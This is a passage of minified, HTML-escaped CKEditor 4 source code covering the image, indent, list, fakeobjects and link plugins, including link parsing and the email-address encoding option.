b.data.element;!a.is(&quot;img&quot;)||a.data(&quot;cke-realelement&quot;)||a.isReadOnly()||(b.data.dialog=&quot;image&quot;)});b.addMenuItems&amp;&amp;b.addMenuItems({image:{label:b.lang.image.menu,command:&quot;image&quot;,group:&quot;image&quot;}});b.contextMenu&amp;&amp;b.contextMenu.addListener(function(a){if(e(b,a))return{image:CKEDITOR.TRISTATE_OFF}})}},afterInit:function(b){function a(a){var d=b.getCommand(&quot;justify&quot;+a);if(d){if(&quot;left&quot;==a||&quot;right&quot;==a)d.on(&quot;exec&quot;,function(d){var c=e(b),g;c&amp;&amp;(g=f(c),g==a?(c.removeStyle(&quot;float&quot;),a==f(c)&amp;&amp;c.removeAttribute(&quot;align&quot;)):
c.setStyle(&quot;float&quot;,a),d.cancel())});d.on(&quot;refresh&quot;,function(d){var c=e(b);c&amp;&amp;(c=f(c),this.setState(c==a?CKEDITOR.TRISTATE_ON:&quot;right&quot;==a||&quot;left&quot;==a?CKEDITOR.TRISTATE_OFF:CKEDITOR.TRISTATE_DISABLED),d.cancel())})}}b.plugins.image2||(a(&quot;left&quot;),a(&quot;right&quot;),a(&quot;center&quot;),a(&quot;block&quot;))}})})();CKEDITOR.config.image_removeLinkByEmptyURL=!0;(function(){function m(a,b){var e,f;b.on(&quot;refresh&quot;,function(a){var b=[k],c;for(c in a.data.states)b.push(a.data.states[c]);this.setState(CKEDITOR.tools.search(b,p)?p:k)},b,null,100);b.on(&quot;exec&quot;,function(b){e=a.getSelection();f=e.createBookmarks(1);b.data||(b.data={});b.data.done=!1},b,null,0);b.on(&quot;exec&quot;,function(){a.forceNextSelectionCheck();e.selectBookmarks(f)},b,null,100)}var k=CKEDITOR.TRISTATE_DISABLED,p=CKEDITOR.TRISTATE_OFF;CKEDITOR.plugins.add(&quot;indent&quot;,{init:function(a){var b=CKEDITOR.plugins.indent.genericDefinition;
m(a,a.addCommand(&quot;indent&quot;,new b(!0)));m(a,a.addCommand(&quot;outdent&quot;,new b));a.ui.addButton&amp;&amp;(a.ui.addButton(&quot;Indent&quot;,{label:a.lang.indent.indent,command:&quot;indent&quot;,directional:!0,toolbar:&quot;indent,20&quot;}),a.ui.addButton(&quot;Outdent&quot;,{label:a.lang.indent.outdent,command:&quot;outdent&quot;,directional:!0,toolbar:&quot;indent,10&quot;}));a.on(&quot;dirChanged&quot;,function(b){var f=a.createRange(),l=b.data.node;f.setStartBefore(l);f.setEndAfter(l);for(var n=new CKEDITOR.dom.walker(f),c;c=n.next();)if(c.type==CKEDITOR.NODE_ELEMENT)if(!c.equals(l)&amp;&amp;
c.getDirection())f.setStartAfter(c),n=new CKEDITOR.dom.walker(f);else{var d=a.config.indentClasses;if(d)for(var g=&quot;ltr&quot;==b.data.dir?[&quot;_rtl&quot;,&quot;&quot;]:[&quot;&quot;,&quot;_rtl&quot;],h=0;h&lt;d.length;h++)c.hasClass(d[h]+g[0])&amp;&amp;(c.removeClass(d[h]+g[0]),c.addClass(d[h]+g[1]));d=c.getStyle(&quot;margin-right&quot;);g=c.getStyle(&quot;margin-left&quot;);d?c.setStyle(&quot;margin-left&quot;,d):c.removeStyle(&quot;margin-left&quot;);g?c.setStyle(&quot;margin-right&quot;,g):c.removeStyle(&quot;margin-right&quot;)}})}});CKEDITOR.plugins.indent={genericDefinition:function(a){this.isIndent=!!a;
this.startDisabled=!this.isIndent},specificDefinition:function(a,b,e){this.name=b;this.editor=a;this.jobs={};this.enterBr=a.config.enterMode==CKEDITOR.ENTER_BR;this.isIndent=!!e;this.relatedGlobal=e?&quot;indent&quot;:&quot;outdent&quot;;this.indentKey=e?9:CKEDITOR.SHIFT+9;this.database={}},registerCommands:function(a,b){a.on(&quot;pluginsLoaded&quot;,function(){for(var a in b)(function(a,b){var e=a.getCommand(b.relatedGlobal),c;for(c in b.jobs)e.on(&quot;exec&quot;,function(d){d.data.done||(a.fire(&quot;lockSnapshot&quot;),b.execJob(a,c)&amp;&amp;(d.data.done=
!0),a.fire(&quot;unlockSnapshot&quot;),CKEDITOR.dom.element.clearAllMarkers(b.database))},this,null,c),e.on(&quot;refresh&quot;,function(d){d.data.states||(d.data.states={});d.data.states[b.name+&quot;@&quot;+c]=b.refreshJob(a,c,d.data.path)},this,null,c);a.addFeature(b)})(this,b[a])})}};CKEDITOR.plugins.indent.genericDefinition.prototype={context:&quot;p&quot;,exec:function(){}};CKEDITOR.plugins.indent.specificDefinition.prototype={execJob:function(a,b){var e=this.jobs[b];if(e.state!=k)return e.exec.call(this,a)},refreshJob:function(a,
b,e){b=this.jobs[b];a.activeFilter.checkFeature(this)?b.state=b.refresh.call(this,a,e):b.state=k;return b.state},getContext:function(a){return a.contains(this.context)}}})();(function(){function w(f){function g(b){for(var e=c.startContainer,a=c.endContainer;e&amp;&amp;!e.getParent().equals(b);)e=e.getParent();for(;a&amp;&amp;!a.getParent().equals(b);)a=a.getParent();if(!e||!a)return!1;for(var d=[],h=!1;!h;)e.equals(a)&amp;&amp;(h=!0),d.push(e),e=e.getNext();if(1&gt;d.length)return!1;e=b.getParents(!0);for(a=0;a&lt;e.length;a++)if(e[a].getName&amp;&amp;p[e[a].getName()]){b=e[a];break}for(var e=k.isIndent?1:-1,a=d[0],d=d[d.length-1],h=CKEDITOR.plugins.list.listToArray(b,q),m=h[d.getCustomData(&quot;listarray_index&quot;)].indent,
a=a.getCustomData(&quot;listarray_index&quot;);a&lt;=d.getCustomData(&quot;listarray_index&quot;);a++)if(h[a].indent+=e,0&lt;e){for(var g=h[a].parent,n=a-1;0&lt;=n;n--)if(h[n].indent===e){g=h[n].parent;break}h[a].parent=new CKEDITOR.dom.element(g.getName(),g.getDocument())}for(a=d.getCustomData(&quot;listarray_index&quot;)+1;a&lt;h.length&amp;&amp;h[a].indent&gt;m;a++)h[a].indent+=e;e=CKEDITOR.plugins.list.arrayToList(h,q,null,f.config.enterMode,b.getDirection());if(!k.isIndent){var t;if((t=b.getParent())&amp;&amp;t.is(&quot;li&quot;))for(var d=e.listNode.getChildren(),
r=[],l,a=d.count()-1;0&lt;=a;a--)(l=d.getItem(a))&amp;&amp;l.is&amp;&amp;l.is(&quot;li&quot;)&amp;&amp;r.push(l)}e&amp;&amp;e.listNode.replace(b);if(r&amp;&amp;r.length)for(a=0;a&lt;r.length;a++){for(l=b=r[a];(l=l.getNext())&amp;&amp;l.is&amp;&amp;l.getName()in p;)CKEDITOR.env.needsNbspFiller&amp;&amp;!b.getFirst(x)&amp;&amp;b.append(c.document.createText(&quot; &quot;)),b.append(l);b.insertAfter(t)}e&amp;&amp;f.fire(&quot;contentDomInvalidated&quot;);return!0}for(var k=this,q=this.database,p=this.context,c,m=f.getSelection(),m=(m&amp;&amp;m.getRanges()).createIterator();c=m.getNextRange();){for(var b=c.getCommonAncestor();b&amp;&amp;
(b.type!=CKEDITOR.NODE_ELEMENT||!p[b.getName()]);){if(f.editable().equals(b)){b=!1;break}b=b.getParent()}b||(b=c.startPath().contains(p))&amp;&amp;c.setEndAt(b,CKEDITOR.POSITION_BEFORE_END);if(!b){var d=c.getEnclosedNode();d&amp;&amp;d.type==CKEDITOR.NODE_ELEMENT&amp;&amp;d.getName()in p&amp;&amp;(c.setStartAt(d,CKEDITOR.POSITION_AFTER_START),c.setEndAt(d,CKEDITOR.POSITION_BEFORE_END),b=d)}b&amp;&amp;c.startContainer.type==CKEDITOR.NODE_ELEMENT&amp;&amp;c.startContainer.getName()in p&amp;&amp;(d=new CKEDITOR.dom.walker(c),d.evaluator=n,c.startContainer=
d.next());b&amp;&amp;c.endContainer.type==CKEDITOR.NODE_ELEMENT&amp;&amp;c.endContainer.getName()in p&amp;&amp;(d=new CKEDITOR.dom.walker(c),d.evaluator=n,c.endContainer=d.previous());if(b)return g(b)}return 0}function n(f){return f.type==CKEDITOR.NODE_ELEMENT&amp;&amp;f.is(&quot;li&quot;)}function x(f){return y(f)&amp;&amp;z(f)}var y=CKEDITOR.dom.walker.whitespaces(!0),z=CKEDITOR.dom.walker.bookmark(!1,!0),u=CKEDITOR.TRISTATE_DISABLED,v=CKEDITOR.TRISTATE_OFF;CKEDITOR.plugins.add(&quot;indentlist&quot;,{requires:&quot;indent&quot;,init:function(f){function g(f){k.specificDefinition.apply(this,
arguments);this.requiredContent=[&quot;ul&quot;,&quot;ol&quot;];f.on(&quot;key&quot;,function(g){var c=f.elementPath();if(&quot;wysiwyg&quot;==f.mode&amp;&amp;g.data.keyCode==this.indentKey&amp;&amp;c){var m=this.getContext(c);!m||this.isIndent&amp;&amp;CKEDITOR.plugins.indentList.firstItemInPath(this.context,c,m)||(f.execCommand(this.relatedGlobal),g.cancel())}},this);this.jobs[this.isIndent?10:30]={refresh:this.isIndent?function(f,c){var g=this.getContext(c),b=CKEDITOR.plugins.indentList.firstItemInPath(this.context,c,g);return g&amp;&amp;this.isIndent&amp;&amp;!b?v:u}:function(f,
c){return!this.getContext(c)||this.isIndent?u:v},exec:CKEDITOR.tools.bind(w,this)}}var k=CKEDITOR.plugins.indent;k.registerCommands(f,{indentlist:new g(f,&quot;indentlist&quot;,!0),outdentlist:new g(f,&quot;outdentlist&quot;)});CKEDITOR.tools.extend(g.prototype,k.specificDefinition.prototype,{context:{ol:1,ul:1}})}});CKEDITOR.plugins.indentList={};CKEDITOR.plugins.indentList.firstItemInPath=function(f,g,k){var q=g.contains(n);k||(k=g.contains(f));return k&amp;&amp;q&amp;&amp;q.equals(k.getFirst(n))}})();(function(){function g(a,b){var c=l.exec(a),d=l.exec(b);if(c){if(!c[2]&amp;&amp;&quot;px&quot;==d[2])return d[1];if(&quot;px&quot;==c[2]&amp;&amp;!d[2])return d[1]+&quot;px&quot;}return b}var k=CKEDITOR.htmlParser.cssStyle,h=CKEDITOR.tools.cssLength,l=/^((?:\d*(?:\.\d+))|(?:\d+))(.*)?$/i,m={elements:{$:function(a){var b=a.attributes;if((b=(b=(b=b&amp;&amp;b[&quot;data-cke-realelement&quot;])&amp;&amp;new CKEDITOR.htmlParser.fragment.fromHtml(decodeURIComponent(b)))&amp;&amp;b.children[0])&amp;&amp;a.attributes[&quot;data-cke-resizable&quot;]){var c=(new k(a)).rules;a=b.attributes;var d=c.width,
c=c.height;d&amp;&amp;(a.width=g(a.width,d));c&amp;&amp;(a.height=g(a.height,c))}return b}}};CKEDITOR.plugins.add(&quot;fakeobjects&quot;,{init:function(a){a.filter.allow(&quot;img[!data-cke-realelement,src,alt,title](*){*}&quot;,&quot;fakeobjects&quot;)},afterInit:function(a){(a=(a=a.dataProcessor)&amp;&amp;a.htmlFilter)&amp;&amp;a.addRules(m,{applyToAll:!0})}});CKEDITOR.editor.prototype.createFakeElement=function(a,b,c,d){var e=this.lang.fakeobjects,e=e[c]||e.unknown;b={&quot;class&quot;:b,&quot;data-cke-realelement&quot;:encodeURIComponent(a.getOuterHtml()),&quot;data-cke-real-node-type&quot;:a.type,
alt:e,title:e,align:a.getAttribute(&quot;align&quot;)||&quot;&quot;};CKEDITOR.env.hc||(b.src=CKEDITOR.tools.transparentImageData);c&amp;&amp;(b[&quot;data-cke-real-element-type&quot;]=c);d&amp;&amp;(b[&quot;data-cke-resizable&quot;]=d,c=new k,d=a.getAttribute(&quot;width&quot;),a=a.getAttribute(&quot;height&quot;),d&amp;&amp;(c.rules.width=h(d)),a&amp;&amp;(c.rules.height=h(a)),c.populate(b));return this.document.createElement(&quot;img&quot;,{attributes:b})};CKEDITOR.editor.prototype.createFakeParserElement=function(a,b,c,d){var e=this.lang.fakeobjects,e=e[c]||e.unknown,f;f=new CKEDITOR.htmlParser.basicWriter;
a.writeHtml(f);f=f.getHtml();b={&quot;class&quot;:b,&quot;data-cke-realelement&quot;:encodeURIComponent(f),&quot;data-cke-real-node-type&quot;:a.type,alt:e,title:e,align:a.attributes.align||&quot;&quot;};CKEDITOR.env.hc||(b.src=CKEDITOR.tools.transparentImageData);c&amp;&amp;(b[&quot;data-cke-real-element-type&quot;]=c);d&amp;&amp;(b[&quot;data-cke-resizable&quot;]=d,d=a.attributes,a=new k,c=d.width,d=d.height,void 0!==c&amp;&amp;(a.rules.width=h(c)),void 0!==d&amp;&amp;(a.rules.height=h(d)),a.populate(b));return new CKEDITOR.htmlParser.element(&quot;img&quot;,b)};CKEDITOR.editor.prototype.restoreRealElement=
function(a){if(a.data(&quot;cke-real-node-type&quot;)!=CKEDITOR.NODE_ELEMENT)return null;var b=CKEDITOR.dom.element.createFromHtml(decodeURIComponent(a.data(&quot;cke-realelement&quot;)),this.document);if(a.data(&quot;cke-resizable&quot;)){var c=a.getStyle(&quot;width&quot;);a=a.getStyle(&quot;height&quot;);c&amp;&amp;b.setAttribute(&quot;width&quot;,g(b.getAttribute(&quot;width&quot;),c));a&amp;&amp;b.setAttribute(&quot;height&quot;,g(b.getAttribute(&quot;height&quot;),a))}return b}})();(function(){function p(c){return c.replace(/&#039;/g,&quot;\\$\x26&quot;)}function q(c){for(var b,a=c.length,d=[],f=0;f&lt;a;f++)b=c.charCodeAt(f),d.push(b);return&quot;String.fromCharCode(&quot;+d.join(&quot;,&quot;)+&quot;)&quot;}function r(c,b){var a=c.plugins.link,d=a.compiledProtectionFunction.params,f,e;e=[a.compiledProtectionFunction.name,&quot;(&quot;];for(var g=0;g&lt;d.length;g++)a=d[g].toLowerCase(),f=b[a],0&lt;g&amp;&amp;e.push(&quot;,&quot;),e.push(&quot;&#039;&quot;,f?p(encodeURIComponent(b[a])):&quot;&quot;,&quot;&#039;&quot;);e.push(&quot;)&quot;);return e.join(&quot;&quot;)}function n(c){c=c.config.emailProtection||&quot;&quot;;
var b;c&amp;&amp;&quot;encode&quot;!=c&amp;&amp;(b={},c.replace(/^([^(]+)\(([^)]+)\)$/,function(a,c,f){b.name=c;b.params=[];f.replace(/[^,\s]+/g,function(a){b.params.push(a)})}));return b}CKEDITOR.plugins.add(&quot;link&quot;,{requires:&quot;dialog,fakeobjects&quot;,onLoad:function(){function c(b){return a.replace(/%1/g,&quot;rtl&quot;==b?&quot;right&quot;:&quot;left&quot;).replace(/%2/g,&quot;cke_contents_&quot;+b)}var b=&quot;background:url(&quot;+CKEDITOR.getUrl(this.path+&quot;images&quot;+(CKEDITOR.env.hidpi?&quot;/hidpi&quot;:&quot;&quot;)+&quot;/anchor.png&quot;)+&quot;) no-repeat %1 center;border:1px dotted #00f;background-size:16px;&quot;,
a=&quot;.%2 a.cke_anchor,.%2 a.cke_anchor_empty,.cke_editable.%2 a[name],.cke_editable.%2 a[data-cke-saved-name]{&quot;+b+&quot;padding-%1:18px;cursor:auto;}.%2 img.cke_anchor{&quot;+b+&quot;width:16px;min-height:15px;height:1.15em;vertical-align:text-bottom;}&quot;;CKEDITOR.addCss(c(&quot;ltr&quot;)+c(&quot;rtl&quot;))},init:function(c){var b=&quot;a[!href]&quot;;CKEDITOR.dialog.isTabEnabled(c,&quot;link&quot;,&quot;advanced&quot;)&amp;&amp;(b=b.replace(&quot;]&quot;,&quot;,accesskey,charset,dir,id,lang,name,rel,tabindex,title,type,download]{*}(*)&quot;));CKEDITOR.dialog.isTabEnabled(c,&quot;link&quot;,&quot;target&quot;)&amp;&amp;
(b=b.replace(&quot;]&quot;,&quot;,target,onclick]&quot;));c.addCommand(&quot;link&quot;,new CKEDITOR.dialogCommand(&quot;link&quot;,{allowedContent:b,requiredContent:&quot;a[href]&quot;}));c.addCommand(&quot;anchor&quot;,new CKEDITOR.dialogCommand(&quot;anchor&quot;,{allowedContent:&quot;a[!name,id]&quot;,requiredContent:&quot;a[name]&quot;}));c.addCommand(&quot;unlink&quot;,new CKEDITOR.unlinkCommand);c.addCommand(&quot;removeAnchor&quot;,new CKEDITOR.removeAnchorCommand);c.setKeystroke(CKEDITOR.CTRL+76,&quot;link&quot;);c.setKeystroke(CKEDITOR.CTRL+75,&quot;link&quot;);c.ui.addButton&amp;&amp;(c.ui.addButton(&quot;Link&quot;,{label:c.lang.link.toolbar,
command:&quot;link&quot;,toolbar:&quot;links,10&quot;}),c.ui.addButton(&quot;Unlink&quot;,{label:c.lang.link.unlink,command:&quot;unlink&quot;,toolbar:&quot;links,20&quot;}),c.ui.addButton(&quot;Anchor&quot;,{label:c.lang.link.anchor.toolbar,command:&quot;anchor&quot;,toolbar:&quot;links,30&quot;}));CKEDITOR.dialog.add(&quot;link&quot;,this.path+&quot;dialogs/link.js&quot;);CKEDITOR.dialog.add(&quot;anchor&quot;,this.path+&quot;dialogs/anchor.js&quot;);c.on(&quot;doubleclick&quot;,function(a){var b=a.data.element.getAscendant({a:1,img:1},!0);b&amp;&amp;!b.isReadOnly()&amp;&amp;(b.is(&quot;a&quot;)?(a.data.dialog=!b.getAttribute(&quot;name&quot;)||b.getAttribute(&quot;href&quot;)&amp;&amp;
b.getChildCount()?&quot;link&quot;:&quot;anchor&quot;,a.data.link=b):CKEDITOR.plugins.link.tryRestoreFakeAnchor(c,b)&amp;&amp;(a.data.dialog=&quot;anchor&quot;))},null,null,0);c.on(&quot;doubleclick&quot;,function(a){a.data.dialog in{link:1,anchor:1}&amp;&amp;a.data.link&amp;&amp;c.getSelection().selectElement(a.data.link)},null,null,20);c.addMenuItems&amp;&amp;c.addMenuItems({anchor:{label:c.lang.link.anchor.menu,command:&quot;anchor&quot;,group:&quot;anchor&quot;,order:1},removeAnchor:{label:c.lang.link.anchor.remove,command:&quot;removeAnchor&quot;,group:&quot;anchor&quot;,order:5},link:{label:c.lang.link.menu,
command:&quot;link&quot;,group:&quot;link&quot;,order:1},unlink:{label:c.lang.link.unlink,command:&quot;unlink&quot;,group:&quot;link&quot;,order:5}});c.contextMenu&amp;&amp;c.contextMenu.addListener(function(a){if(!a||a.isReadOnly())return null;a=CKEDITOR.plugins.link.tryRestoreFakeAnchor(c,a);if(!a&amp;&amp;!(a=CKEDITOR.plugins.link.getSelectedLink(c)))return null;var b={};a.getAttribute(&quot;href&quot;)&amp;&amp;a.getChildCount()&amp;&amp;(b={link:CKEDITOR.TRISTATE_OFF,unlink:CKEDITOR.TRISTATE_OFF});a&amp;&amp;a.hasAttribute(&quot;name&quot;)&amp;&amp;(b.anchor=b.removeAnchor=CKEDITOR.TRISTATE_OFF);
return b});this.compiledProtectionFunction=n(c)},afterInit:function(c){c.dataProcessor.dataFilter.addRules({elements:{a:function(a){return a.attributes.name?a.children.length?null:c.createFakeParserElement(a,&quot;cke_anchor&quot;,&quot;anchor&quot;):null}}});var b=c._.elementsPath&amp;&amp;c._.elementsPath.filters;b&amp;&amp;b.push(function(a,b){if(&quot;a&quot;==b&amp;&amp;(CKEDITOR.plugins.link.tryRestoreFakeAnchor(c,a)||a.getAttribute(&quot;name&quot;)&amp;&amp;(!a.getAttribute(&quot;href&quot;)||!a.getChildCount())))return&quot;anchor&quot;})}});var t=/^javascript:/,u=/^mailto:([^?]+)(?:\?(.+))?$/,
v=/subject=([^;?:@&amp;=$,\/]*)/i,w=/body=([^;?:@&amp;=$,\/]*)/i,x=/^#(.*)$/,y=/^((?:http|https|ftp|news):\/\/)?(.*)$/,z=/^(_(?:self|top|parent|blank))$/,A=/^javascript:void\(location\.href=&#039;mailto:&#039;\+String\.fromCharCode\(([^)]+)\)(?:\+&#039;(.*)&#039;)?\)$/,B=/^javascript:([^(]+)\(([^)]+)\)$/,C=/\s*window.open\(\s*this\.href\s*,\s*(?:&#039;([^&#039;]*)&#039;|null)\s*,\s*&#039;([^&#039;]*)&#039;\s*\)\s*;\s*return\s*false;*\s*/,D=/(?:^|,)([^=]+)=(\d+|yes|no)/gi,E=/^tel:(.*)$/,m={id:&quot;advId&quot;,dir:&quot;advLangDir&quot;,accessKey:&quot;advAccessKey&quot;,name:&quot;advName&quot;,
lang:&quot;advLangCode&quot;,tabindex:&quot;advTabIndex&quot;,title:&quot;advTitle&quot;,type:&quot;advContentType&quot;,&quot;class&quot;:&quot;advCSSClasses&quot;,charset:&quot;advCharset&quot;,style:&quot;advStyles&quot;,rel:&quot;advRel&quot;};CKEDITOR.plugins.link={getSelectedLink:function(c,b){var a=c.getSelection(),d=a.getSelectedElement(),f=a.getRanges(),e=[],g;if(!b&amp;&amp;d&amp;&amp;d.is(&quot;a&quot;))return d;for(d=0;d&lt;f.length;d++)if(g=a.getRanges()[d],g.shrink(CKEDITOR.SHRINK_ELEMENT,!0,{skipBogus:!0}),(g=c.elementPath(g.getCommonAncestor()).contains(&quot;a&quot;,1))&amp;&amp;b)e.push(g);else if(g)return g;return b?
e:null},getEditorAnchors:function(c){for(var b=c.editable(),a=b.isInline()&amp;&amp;!c.plugins.divarea?c.document:b,b=a.getElementsByTag(&quot;a&quot;),a=a.getElementsByTag(&quot;img&quot;),d=[],f=0,e;e=b.getItem(f++);)(e.data(&quot;cke-saved-name&quot;)||e.hasAttribute(&quot;name&quot;))&amp;&amp;d.push({name:e.data(&quot;cke-saved-name&quot;)||e.getAttribute(&quot;name&quot;),id:e.getAttribute(&quot;id&quot;)});for(f=0;e=a.getItem(f++);)(e=this.tryRestoreFakeAnchor(c,e))&amp;&amp;d.push({name:e.getAttribute(&quot;name&quot;),id:e.getAttribute(&quot;id&quot;)});return d},fakeAnchor:!0,tryRestoreFakeAnchor:function(c,
b){if(b&amp;&amp;b.data(&quot;cke-real-element-type&quot;)&amp;&amp;&quot;anchor&quot;==b.data(&quot;cke-real-element-type&quot;)){var a=c.restoreRealElement(b);if(a.data(&quot;cke-saved-name&quot;))return a}},parseLinkAttributes:function(c,b){var a=b&amp;&amp;(b.data(&quot;cke-saved-href&quot;)||b.getAttribute(&quot;href&quot;))||&quot;&quot;,d=c.plugins.link.compiledProtectionFunction,f=c.config.emailProtection,e,g={};a.match(t)&amp;&amp;(&quot;encode&quot;==f?a=a.replace(A,function(a,b,c){c=c||&quot;&quot;;return&quot;mailto:&quot;+String.fromCharCode.apply(String,b.split(&quot;,&quot;))+c.replace(/\\&#039;/g,&quot;&#039;&quot;)}):f&amp;&amp;a.replace(B,function(a,
b,c){if(b==d.name){g.type=&quot;email&quot;;a=g.email={};b=/(^&#039;)|(&#039;$)/g;c=c.match(/[^,\s]+/g);for(var e=c.length,f,h,k=0;k&lt;e;k++)f=decodeURIComponent,h=c[k].replace(b,&quot;&quot;).replace(/\\&#039;/g,&quot;&#039;&quot;),h=f(h),f=d.params[k].toLowerCase(),a[f]=h;a.address=[a.name,a.domain].join(&quot;@&quot;)}}));if(!g.type)if(f=a.match(x))g.type=&quot;anchor&quot;,g.anchor={},g.anchor.name=g.anchor.id=f[1];else if(f=a.match(E))g.type=&quot;tel&quot;,g.tel=f[1];else if(f=a.match(u)){e=a.match(v);a=a.match(w);g.type=&quot;email&quot;;var k=g.email={};k.address=f[1];e&amp;&amp;(k.subject=
decodeURIComponent(e[1]));a&amp;&amp;(k.body=decodeURIComponent(a[1]))}else a&amp;&amp;(e=a.match(y))&amp;&amp;(g.type=&quot;url&quot;,g.url={},g.url.protocol=e[1],g.url.url=e[2]);if(b){if(a=b.getAttribute(&quot;target&quot;))g.target={type:a.match(z)?a:&quot;frame&quot;,name:a};else if(a=(a=b.data(&quot;cke-pa-onclick&quot;)||b.getAttribute(&quot;onclick&quot;))&amp;&amp;a.match(C))for(g.target={type:&quot;popup&quot;,name:a[1]};f=D.exec(a[2]);)&quot;yes&quot;!=f[2]&amp;&amp;&quot;1&quot;!=f[2]||f[1]in{height:1,width:1,top:1,left:1}?isFinite(f[2])&amp;&amp;(g.target[f[1]]=f[2]):g.target[f[1]]=!0;null!==b.getAttribute(&quot;download&quot;)&amp;&amp;
(g.download=!0);var a={},h;for(h in m)(f=b.getAttribute(h))&amp;&amp;(a[m[h]]=f);if(h=b.data(&quot;cke-saved-name&quot;)||a.advName)a.advName=h;CKEDITOR.tools.isEmpty(a)||(g.advanced=a)}return g},getLinkAttributes:function(c,b){var a=c.config.emailProtection||&quot;&quot;,d={};switch(b.type){case &quot;url&quot;:var a=b.url&amp;&amp;void 0!==b.url.protocol?b.url.protocol:&quot;http://&quot;,f=b.url&amp;&amp;CKEDITOR.tools.trim(b.url.url)||&quot;&quot;;d[&quot;data-cke-saved-href&quot;]=0===f.indexOf(&quot;/&quot;)?f:a+f;break;case &quot;anchor&quot;:a=b.anchor&amp;&amp;b.anchor.id;d[&quot;data-cke-saved-href&quot;]=
&quot;#&quot;+(b.anchor&amp;&amp;b.anchor.name||a||&quot;&quot;);break;case &quot;email&quot;:var e=b.email,f=e.address;switch(a){case &quot;&quot;:case &quot;encode&quot;:var g=encodeURIComponent(e.subject||&quot;&quot;),k=encodeURIComponent(e.body||&quot;&quot;),e=[];g&amp;&amp;e.push(&quot;subject\x3d&quot;+g);k&amp;&amp;e.push(&quot;body\x3d&quot;+k);e=e.length?&quot;?&quot;+e.join(&quot;\x26&quot;):&quot;&quot;;&quot;encode&quot;==a?(a=[&quot;javascript:void(location.href\x3d&#039;mailto:&#039;+&quot;,q(f)],e&amp;&amp;a.push(&quot;+&#039;&quot;,p(e),&quot;&#039;&quot;),a.push(&quot;)&quot;)):a=[&quot;mailto:&quot;,f,e];break;default:a=f.split(&quot;@&quot;,2),e.name=a[0],e.domain=a[1],a=[&quot;javascript:&quot;,r(c,e)]}d[&quot;data-cke-saved-href&quot;]=
a.join(&quot;&quot;);break;case &quot;tel&quot;:d[&quot;data-cke-saved-href&quot;]=&quot;tel:&quot;+b.tel}if(b.target)if(&quot;popup&quot;==b.target.type){for(var a=[&quot;window.open(this.href, &#039;&quot;,b.target.name||&quot;&quot;,&quot;&#039;, &#039;&quot;],h=&quot;resizable status location toolbar menubar fullscreen scrollbars dependent&quot;.split(&quot; &quot;),f=h.length,g=function(a){b.target[a]&amp;&amp;h.push(a+&quot;\x3d&quot;+b.target[a])},e=0;e&lt;f;e++)h[e]+=b.target[h[e]]?&quot;\x3dyes&quot;:&quot;\x3dno&quot;;g(&quot;width&quot;);g(&quot;left&quot;);g(&quot;height&quot;);g(&quot;top&quot;);a.push(h.join(&quot;,&quot;),&quot;&#039;); return false;&quot;);d[&quot;data-cke-pa-onclick&quot;]=a.join(&quot;&quot;)}else&quot;notSet&quot;!=
b.target.type&amp;&amp;b.target.name&amp;&amp;(d.target=b.target.name);b.download&amp;&amp;(d.download=&quot;&quot;);if(b.advanced){for(var l in m)(a=b.advanced[m[l]])&amp;&amp;(d[l]=a);d.name&amp;&amp;(d[&quot;data-cke-saved-name&quot;]=d.name)}d[&quot;data-cke-saved-href&quot;]&amp;&amp;(d.href=d[&quot;data-cke-saved-href&quot;]);l={target:1,onclick:1,&quot;data-cke-pa-onclick&quot;:1,&quot;data-cke-saved-name&quot;:1,download:1};b.advanced&amp;&amp;CKEDITOR.tools.extend(l,m);for(var n in d)delete l[n];return{set:d,removed:CKEDITOR.tools.objectKeys(l)}},showDisplayTextForElement:function(c,b){var a={img:1,table:1,
tbody:1,thead:1,tfoot:1,input:1,select:1,textarea:1},d=b.getSelection();return b.widgets&amp;&amp;b.widgets.focused||d&amp;&amp;1&lt;d.getRanges().length?!1:!c||!c.getName||!c.is(a)}};CKEDITOR.unlinkCommand=function(){};CKEDITOR.unlinkCommand.prototype={exec:function(c){if(CKEDITOR.env.ie){var b=c.getSelection().getRanges()[0],a=b.getPreviousEditableNode()&amp;&amp;b.getPreviousEditableNode().getAscendant(&quot;a&quot;,!0)||b.getNextEditableNode()&amp;&amp;b.getNextEditableNode().getAscendant(&quot;a&quot;,!0),d;b.collapsed&amp;&amp;a&amp;&amp;(d=b.createBookmark(),
b.selectNodeContents(a),b.select())}a=new CKEDITOR.style({element:&quot;a&quot;,type:CKEDITOR.STYLE_INLINE,alwaysRemoveElement:1});c.removeStyle(a);d&amp;&amp;(b.moveToBookmark(d),b.select())},refresh:function(c,b){var a=b.lastElement&amp;&amp;b.lastElement.getAscendant(&quot;a&quot;,!0);a&amp;&amp;&quot;a&quot;==a.getName()&amp;&amp;a.getAttribute(&quot;href&quot;)&amp;&amp;a.getChildCount()?this.setState(CKEDITOR.TRISTATE_OFF):this.setState(CKEDITOR.TRISTATE_DISABLED)},contextSensitive:1,startDisabled:1,requiredContent:&quot;a[href]&quot;,editorFocus:1};CKEDITOR.removeAnchorCommand=
function(){};CKEDITOR.removeAnchorCommand.prototype={exec:function(c){var b=c.getSelection(),a=b.createBookmarks(),d;if(b&amp;&amp;(d=b.getSelectedElement())&amp;&amp;(d.getChildCount()?d.is(&quot;a&quot;):CKEDITOR.plugins.link.tryRestoreFakeAnchor(c,d)))d.remove(1);else if(d=CKEDITOR.plugins.link.getSelectedLink(c))d.hasAttribute(&quot;href&quot;)?(d.removeAttributes({name:1,&quot;data-cke-saved-name&quot;:1}),d.removeClass(&quot;cke_anchor&quot;)):d.remove(1);b.selectBookmarks(a)},requiredContent:&quot;a[name]&quot;};CKEDITOR.tools.extend(CKEDITOR.config,{linkShowAdvancedTab:!0,
linkShowTargetTab:!0})})();(function(){function K(a,l,d,f){for(var e=CKEDITOR.plugins.list.listToArray(l.root,d),g=[],b=0;b&lt;l.contents.length;b++){var h=l.contents[b];(h=h.getAscendant(&quot;li&quot;,!0))&amp;&amp;!h.getCustomData(&quot;list_item_processed&quot;)&amp;&amp;(g.push(h),CKEDITOR.dom.element.setMarker(d,h,&quot;list_item_processed&quot;,!0))}for(var h=l.root.getDocument(),k,c,b=0;b&lt;g.length;b++){var p=g[b].getCustomData(&quot;listarray_index&quot;);k=e[p].parent;k.is(this.type)||(c=h.createElement(this.type),k.copyAttributes(c,{start:1,type:1}),c.removeStyle(&quot;list-style-type&quot;),
